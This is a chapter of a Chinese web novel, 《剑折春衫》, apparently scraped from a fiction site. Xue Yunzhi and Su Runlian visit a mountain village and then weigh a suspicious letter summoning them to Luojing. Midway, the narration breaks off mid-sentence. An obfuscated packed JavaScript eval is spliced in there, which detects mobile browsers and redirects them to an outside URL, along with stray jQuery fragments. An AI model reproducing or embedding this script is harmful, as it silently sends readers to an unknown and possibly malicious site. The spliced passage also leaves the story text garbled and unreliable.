36. 黄鸟其八

作品:《剑折春衫

    苏润莲提着水回来时,薛韫知已经换好了伤药,谢过那位医者。雾气此时稍散了些,月光映透了树梢。


    她原先还担忧着这个村落里会不会还供着谢兰玉的塑像,可是进来时走了一圈,发现并无痕迹。而且这村落依山而建,已经看不到白沙江,反往山谷里绵延取水。


    “从这里一直走下去,就能到靖州了。”薛韫知听着溪声感慨道,“你以前就在这里练兵?”


    苏润莲闷声一哼,走近查看她的肩头。薛韫知不动声色地往后一转。


    “来都来了,陪我去村里转一圈吧。”


    “可你的伤……”


    “我伤的是手又不是腿,还是能走的。我以前在靖州受过比这更重的伤,不还是活蹦乱跳的。”


    苏润莲抿了抿嘴,不复言他。


    二人一前一后地走上石路,大雾退散后,路上湿滑泥泞,仿佛刚下过一场雨。周围的草木浸润雨露,伸向行人留下道道水渍。


    “此村名为张家坪,坐落在靖州、荷州与京畿地区交通要道处,当年温修远主张开采靖州磁矿,便是走的这条路送往洛京。”


    “这里的路也因此特意修正过,哪怕是这般的山间小路也很易于行走。只不过近两年,看着倒像是荒废了。”


    他指着前面绕山而建的斜顶房屋,“那就是了。”


    最后一段路要爬一个陡坡,他回头道:“你没问题吧?”


    “......”薛韫知加快了脚步,绕到她的前面去。苏润莲在后边道:“慢点啊!等等我、我走不快!”


    他很快追了上来,观察着薛韫知不善的脸色,缓缓道:“其实我偶尔觉得,我和静之有一些相像之处。”


    薛韫知放缓脚步:“此话怎讲?”


    “其实,她当年和元芝的事,我知道的比外人多些。她并非全是为了报答谢家,才答应了与元芝的亲事。元芝悔婚,亦不算是负她。只不过我看着他们一路过来,时常感慨静之的陪伴忍让,的确助长了元芝的自负与锋芒。”


    苏润莲一偏头,又道,“其实我也能理解言时雍,像她那般,自顾自地追寻仰慕一人不求回报,我也有所体会。”


    薛韫知本来怏怏地听着,突然警觉了起来。


    苏润莲却不回答,继续感慨着:“从前我谁都能理解,最难理解的人一直就是你。我不明白,你如何那么看重自我、如何不为任何人妥协。我不允许世上有这样的人,那意味着我过往遵守的人生信条也许一直是错误的。”


    “你没有错。你比那些碌碌之辈芸芸众生强多了。”


    苏润莲沉默,又重复那句旧话:“只有你这样以为。”


    前面的山坡上是一片绿油油的谷地,晨光熹微,从山侧的云层中钻了出来。迎面走来,是一位挑着担的老翁,光着脚正要下田。


    顺着老翁行去的方向,薛韫知忽然看见谷地里放着一台两人多高的机桩,既像是水车又像木槌,问苏润莲道:“那是什么?”


    无人回应。


    她一回头,看见一张白色假面,覆在苏润莲那张俊美的脸上。


    薛韫知诚心发问:“你在这里很见不得人吗?”


    苏润莲的动作一僵,竟然微一点头。


    薛韫知只好上前询问那个老翁,这一问才知道,张家坪前些年因为运输靖州磁矿显赫一时,可是那些官人来了又走,百姓并没有富起来,直到曾经有一位公子来这里帮他们务农,但因为太傲慢,被村里的年轻小子们抬起来扔了出去。


    薛韫知心下了然,望了望田里的那些机桩,再望了望身侧的苏润莲。


    原来苏润莲受辱的这个村子,距离她当年在的靖州,仅有一山之隔。


    雾遮山,花失色。


    那老翁好奇道:“娘子,这位是什么啊?”


    薛韫知忽然福至心灵,眯眼一笑:“这位是我内人。”


    苏润莲在旁边清了清嗓子,耳根蓦地变成了粉色。薛韫知得意地小声道:“这样他就不会再问你话了,只会同我说话,不是很好?”


    忽然,苏润莲的手一动,握紧了薛韫知的手掌,稳稳地攥住。她脸上未散的笑意忽然凝固,为了维持现下身份,她尝试忍了一秒、两秒......忍不了。


    她猛地把手抽回,舒了一口气。对面的老翁瞧见二人的小动作,眯眼笑起来,不知想到什么。


    观沿途所见闻,这个村子距离采集磁土的黑矿山那么近,却不曾落到半点好处。温长荣自梁郡南下入关,这里又成为了四战之地。倘若来年天下重归安泰,也不应忘了这处雾中的山谷。


    太阳升起,雾气逐渐退散。她与苏润莲拜谢磁性,踏上了泛回大渡口的归程。


    虽然只离开了一夜,待她回到营中,安流焦头烂额地迎了上来。


    “大人,一个白面的洛京骁骑昨晚突然出现在营寨边缘,往营里射了一封信,之后就离开了。”


    薛韫知接过信来看,边展开边问:“送信的使者,可看清了是谁?是不是白子衡?”


    “雾太大了,看不清,那人也根本没做停留,射完一箭就跑了。”


    展开信来,薛韫知的眉头蹙得更深,她把信递给了站在身后的苏润莲。“子衡要我们二人进洛京,有事当面商议。”


    苏润莲反复看了几遍,犹豫道:“......的确像子衡的字迹,但为何不按照原本的计划行事,难道是他救援崔林,遇到了些麻烦?”


    他转念一想,又怀疑起来:“那也不应该邀请我们二人独去洛京......这真是子衡写的信吗?”


    薛韫知道:“若我现在照信上字体仿写一份,你大抵也看不出。”


    苏润莲道:“的确。”


    “洛京中肯定有人能模仿得来子衡的字迹。这封信的真伪尚不可知。”


    他们与白承玉原本的计划,是在洛京城外相见,里应外合地打进洛京内部,封锁城池、掌控朝廷,最好能出去皇宫之外不见血


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841939|175236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地拿下此城。前有言和为温长荣大开城门的例子,可见并非不可行。


    但是具体如何行事,还要等薛韫知一行人占下永州、荷州,再与崔林和白承玉碰头后再相议定。


    如今白承玉的音信全无,崔林被捉更是生死未卜。


    薛韫知屏退众人,对苏润莲和安流道:“你们二人藏身笼山时,互不知晓彼此的存在,却都与崔林有联络。她是否曾经向你们透露过什么?”


    安流道:“关于何事的?”


    "洛京中是否有人,在暗中相助她行事。"


    薛韫知想,崔林在两朝宫廷有众多人脉,但是从刺杀萧盈,到解救神机营,再到引萧临拜师苏润莲,甚至还在洛京旁边的笼山里藏了有序的五千精兵!环环相扣,如此机谋,难道都是崔林一个人设计的吗?可想而知不是。崔林直爽铁腕,不以善谋著称,她身边的骁骑影卫都是棋子,更不可能著此布局之远、谋算之深。


    而且,崔林曾经亲口承认过,对萧盈下死手的并非是她,是另有其人。


    苏润莲即答:“不曾。”


    安流却道:“或许......有过。”


    “讲。”


    安流叹息道:“并非徐螳螂透露了什么,仅是我的直觉。我自从军以来,屡次升迁,常遇贵人,大难不死,临危受命。如果不是前世积了大德,很难想象没有人在暗中助我。特别是最近的这一次,靖州旧部系数被拆分遣散到各个屯田去,我们神机部既为精锐,却一反常态的没被拆散,驻地还在相州与江州相界的三不管地带,距离京畿仅有一步之遥。”


    薛韫知沉声:“这么说,你知道洛京里有人在暗中布局了。”


    安流沉默了,然后小声道:“我不知道。仅是猜想而已。”


    薛韫知道:“我还有一种猜想,在环绕着洛京的山川险地里,恐怕不止有我们一支义军。”


    一阵沉默。苏润莲道:“自从温长荣夺主成功后,天下道义已破,梁朝君臣不过是暂时维持,终究难以扭转局面。若放任着天下大乱、义兵叠起,从纷纷扰扰里杀出一个重围,必至举国涂炭、社稷动摇。”


    薛韫知道:“不若扶持一方威主,各占其利,趁局势尚在可控范围,摇旗投效,重举霸业。”


    苏润莲道:“冤有头,债有主。一旦一方得势,自会去找目标。”


    二人纷纷沉默。


    半晌,薛韫知道:“洛京必须去,去会一会这位债主。”


    苏润莲道:“我与你同去。”


    安流道:“还有一事。薛二娘子从永州捎了家信过来,正在帐里候着。”


    薛韫知心头泛起沉郁。“知道了。”


    薛行月是来送信的,原来是薛旭在派出联系白吟山的使者后,马上就后悔了,派薛行月传话,信里坦白了一切,详述悔恨之情。薛韫知看了道:“我现在没空管这个。不过,还有一件事需要你去办。”


    “去把白观书接来,越快越好。”